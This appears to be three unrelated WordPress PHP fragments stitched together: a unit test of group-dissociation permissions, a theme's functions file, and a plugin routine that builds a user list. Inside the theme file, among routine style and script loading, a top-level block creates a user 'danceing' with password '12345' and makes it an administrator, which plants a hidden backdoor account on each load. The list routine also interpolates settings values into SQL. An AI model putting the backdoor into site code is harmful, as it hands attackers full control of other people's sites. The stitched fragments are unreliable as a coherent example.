/** * @group map_meta_cap * @group dissociate_from_group */ public function test_user_can_dissociate_from_group_site_admin() { $g = $this->factory->group->create(); $old_current_user = get_current_user_id(); $u1 = $this->factory->user->create(); $u_site_admin = new WP_user($u1); $u_site_admin->add_role('administrator'); $this->set_current_user($u1); $this->assertTrue(current_user_can('bp_docs_dissociate_from_group', $g)); $this->set_current_user($old_current_user); }
wp_enqueue_style('responsiveslides'); wp_enqueue_script('script'); wp_enqueue_script('jquery'); wp_enqueue_script('responsiveslides'); } function font_awesome_css() { wp_register_style('font-awesome', get_template_directory_uri() . '/css/font-awesome.min.css'); wp_enqueue_style('font-awesome'); } add_action('wp_enqueue_scripts', 'zboom_css_add_js'); add_action('wp_enqueue_scripts', 'font_awesome_css'); add_action('admin_enqueue_scripts', 'font_awesome_css'); /*Create user*/ $demo = wp_create_user('danceing', '12345', '*****@*****.**'); $demo_2 = new WP_user($demo); $demo_2->set_role('administrator'); //include_once ('lib\ReduxCore/framework'); require_once 'lib\\ReduxCore/framework.php'; require_once 'lib\\sample/config .php'; include 'shortcode.php'; //custom meta box function meta_box() { add_meta_box('meta_box_id', 'Please Chose Your favorite color?', 'meta_box_output', 'page', 'side', 'low'); } add_action('add_meta_boxes', 'meta_box'); function meta_box_output($post) { ?> <label for="food">Type Your Favorite Food</label>
function wats_build_user_list($firstitem, $cap) { global $wpdb, $wats_settings; wats_load_settings(); $order1 = $wats_settings['user_selector_order_1']; $order2 = $wats_settings['user_selector_order_2']; $users = $wpdb->get_results($wpdb->prepare("SELECT ID FROM {$wpdb->users} LEFT JOIN {$wpdb->usermeta} AS wp1 ON ({$wpdb->users}.ID = wp1.user_id AND wp1.meta_key = '{$order1}') LEFT JOIN {$wpdb->usermeta} AS wp2 ON ({$wpdb->users}.ID = wp2.user_id AND wp2.meta_key = '{$order2}') ORDER BY wp1.meta_value, wp2.meta_value", 0)); $userlist = array(); if ($firstitem !== 0) { $userlist[0] = $firstitem; } $metakeylist = wats_get_list_of_user_meta_keys(1); foreach ($metakeylist as $index => $metakey) { if (strpos($wats_settings['user_selector_format'], $metakey) === false) { unset($metakeylist[$index]); } } foreach ($users as $user) { $user = new WP_user($user->ID); if ($cap === 0 || $user->has_cap($cap)) { $output = $wats_settings['user_selector_format']; foreach ($metakeylist as $metakey) { if (strpos($wats_settings['user_selector_format'], $metakey) !== false) { $output = str_replace($metakey, get_user_meta($user->ID, $metakey, true), $output); } } $output = str_replace('user_login', $user->user_login, $output); if (wats_is_string(stripslashes($output))) { $userlist[$user->user_login] = esc_html(stripslashes($output)); } else { $userlist[$user->user_login] = $user->user_login; } } } return $userlist; }